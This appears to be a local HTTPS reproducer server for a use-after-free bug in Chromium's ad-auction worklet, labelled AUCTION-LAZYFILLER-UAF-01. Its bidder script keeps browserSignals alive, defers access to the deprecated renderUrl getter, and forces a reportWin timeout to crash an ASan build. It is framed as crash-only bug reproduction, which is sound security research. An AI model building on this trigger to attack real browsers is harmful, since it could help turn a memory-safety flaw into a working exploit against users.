#!/usr/bin/env python3
# Copyright 2026
# Local repro server for AUCTION-LAZYFILLER-UAF-01.
#
# This is intentionally a crash-only ASan reproducer. It does not attempt to
# shape memory, control reuse, or build a sandbox escape. The interesting bug is
# the V8/Blink/Chrome boundary lifetime mismatch: a deprecated reportWin
# browserSignals.renderUrl lazy getter stores raw native callback data that can
# be reached by a microtask checkpoint after the stack LazyFiller owner is dead.

from __future__ import annotations

import argparse
import http.server
import pathlib
import ssl
import subprocess
import urllib.parse
from typing import Final

ROOT = pathlib.Path(__file__).resolve().parent
DEFAULT_HOST: Final = "127.0.0.1"


def html_page(port: int) -> bytes:
    origin = f"https://127.0.0.1:{port}"
    return f"""<!doctype html>
<meta charset="utf-8">
<title>Auction LazyFiller UAF ASan repro</title>
<body>
<script>
const ORIGIN = {origin!r};

async function main() {{
  if (!('joinAdInterestGroup' in navigator) || !('runAdAuction' in navigator)) {{
    return;
  }}

  const uuid = 'timeout-uaf-' + Date.now() + '-' + Math.random();
  const ig = {{
    owner: ORIGIN,
    name: 'pa-uaf-ig',
    biddingLogicURL: ORIGIN + '/bidder.js?mode=timeout-uaf&uuid=' + encodeURIComponent(uuid),
    trustedBiddingSignalsURL: ORIGIN + '/trusted-bidding-signals.json',
    trustedBiddingSignalsKeys: ['k'],
    ads: [{{ renderURL: ORIGIN + '/ad.html?uuid=' + encodeURIComponent(uuid) }}],
  }};

  await navigator.joinAdInterestGroup(ig, 3600);

  const auctionConfig = {{
    seller: ORIGIN,
    decisionLogicURL: ORIGIN + '/seller.js?mode=timeout-uaf&uuid=' + encodeURIComponent(uuid),
    interestGroupBuyers: [ORIGIN],
    auctionSignals: {{uuid}},
    sellerSignals: {{uuid}},
    resolveToConfig: true,
  }};

  const result = await navigator.runAdAuction(auctionConfig);
  if (!result) {{
    return;
  }}

  const frame = document.createElement('fencedframe');
  frame.config = result;
  document.body.appendChild(frame);
}}

main().catch(() => {{}});
</script>
</body>
""".encode()


BIDDER_JS = r"""
function generateBid(interestGroup, auctionSignals, perBuyerSignals,
                     trustedBiddingSignals, browserSignals) {
  return {
    ad: {},
    bid: 1,
    render: interestGroup.ads[0].renderURL,
  };
}

function reportWin(auctionSignals, perBuyerSignals, sellerSignals,
                   browserSignals, directFromSellerSignals) {
  // Keep the JS object alive and defer the deprecated lazy getter access.
  // The lowercase renderUrl path is the important one. browserSignals.renderURL
  // is eager and does not use DeprecatedUrlLazyFiller.
  globalThis.savedBrowserSignals = browserSignals;
  Promise.resolve().then(() => {
    void globalThis.savedBrowserSignals.renderUrl;
  });

  // Force reportWin timeout. V8's normal auto microtask checkpoint is skipped
  // while execution is terminating; AuctionWorklet's ContextRecyclerScope then
  // performs a later ResetForReuse() microtask checkpoint after stack unwind.
  while (true) {}
}
"""

SELLER_JS = r"""
function scoreAd(adMetadata, bid, auctionConfig, trustedScoringSignals,
                 browserSignals, directFromSellerSignals) {
  return bid;
}

function reportResult(auctionConfig, browserSignals, directFromSellerSignals) {
  sendReportTo('/report?from=seller');
  return {success: true};
}
"""

AD_HTML = b"""<!doctype html>
<meta charset="utf-8">
<title>PA UAF ad</title>
<body>PA UAF ad</body>
"""

TRUSTED_BIDDING_SIGNALS = b'{"keys":{"k":1}}'


class Handler(http.server.BaseHTTPRequestHandler):
    server_version = "AuctionLazyFillerUAF/1.0"

    def _send(self, status: int, body: bytes, content_type: str) -> None:
        self.send_response(status)
        self.send_header("Content-Type", content_type)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Cache-Control", "no-store")
        self.send_header("Access-Control-Allow-Origin", "*")
        # AuctionDownloader rejects bidder/seller/trusted-signal loads without
        # this opt-in. It is harmless on the page/ad endpoints and keeps the
        # server simple.
        self.send_header("Ad-Auction-Allowed", "true")
        # Required by fenced frame navigations in current Chromium. It is also
        # harmless on non-document responses.
        self.send_header("Supports-Loading-Mode", "fenced-frame")
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt: str, *args: object) -> None:
        return

    def do_OPTIONS(self) -> None:
        self.send_response(204)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "*")
        self.end_headers()

    def do_GET(self) -> None:
        parsed = urllib.parse.urlparse(self.path)
        path = parsed.path
        if path in ("/", "/poc.html"):
            self._send(200, html_page(self.server.server_port), "text/html; charset=utf-8")
        elif path == "/bidder.js":
            self._send(200, BIDDER_JS.encode(), "application/javascript; charset=utf-8")
        elif path == "/seller.js":
            self._send(200, SELLER_JS.encode(), "application/javascript; charset=utf-8")
        elif path == "/ad.html":
            self._send(200, AD_HTML, "text/html; charset=utf-8")
        elif path == "/trusted-bidding-signals.json":
            self._send(200, TRUSTED_BIDDING_SIGNALS, "application/json")
        elif path == "/report":
            self._send(200, b"ok", "text/plain; charset=utf-8")
        else:
            self._send(404, b"not found", "text/plain; charset=utf-8")


def ensure_cert(cert: pathlib.Path, key: pathlib.Path) -> None:
    if cert.exists() and key.exists():
        return
    try:
        subprocess.run(
            [
                "openssl",
                "req",
                "-x509",
                "-newkey",
                "rsa:2048",
                "-nodes",
                "-sha256",
                "-days",
                "2",
                "-subj",
                "/CN=127.0.0.1",
                "-addext",
                "subjectAltName=IP:127.0.0.1,DNS:localhost",
                "-keyout",
                str(key),
                "-out",
                str(cert),
            ],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
    except Exception as exc:
        raise SystemExit(
            "Failed to generate a self-signed certificate with openssl. "
            "Install openssl or pass --cert/--key. Original error: " + repr(exc)
        )


def main() -> int:
    ap = argparse.ArgumentParser(
        description="Serve the Auction LazyFiller timeout UAF ASan repro over HTTPS."
    )
    ap.add_argument("--host", default=DEFAULT_HOST)
    ap.add_argument("--port", type=int, default=0, help="0 chooses a free port")
    ap.add_argument("--cert", type=pathlib.Path, default=ROOT / "cert.pem")
    ap.add_argument("--key", type=pathlib.Path, default=ROOT / "key.pem")
    args = ap.parse_args()

    ensure_cert(args.cert, args.key)

    httpd = http.server.ThreadingHTTPServer((args.host, args.port), Handler)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(str(args.cert), str(args.key))
    httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)

    url = f"https://{args.host}:{httpd.server_port}/"
    print(url, flush=True)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        return 130
    return 0


if __name__ == "__main__":
    raise SystemExit(main())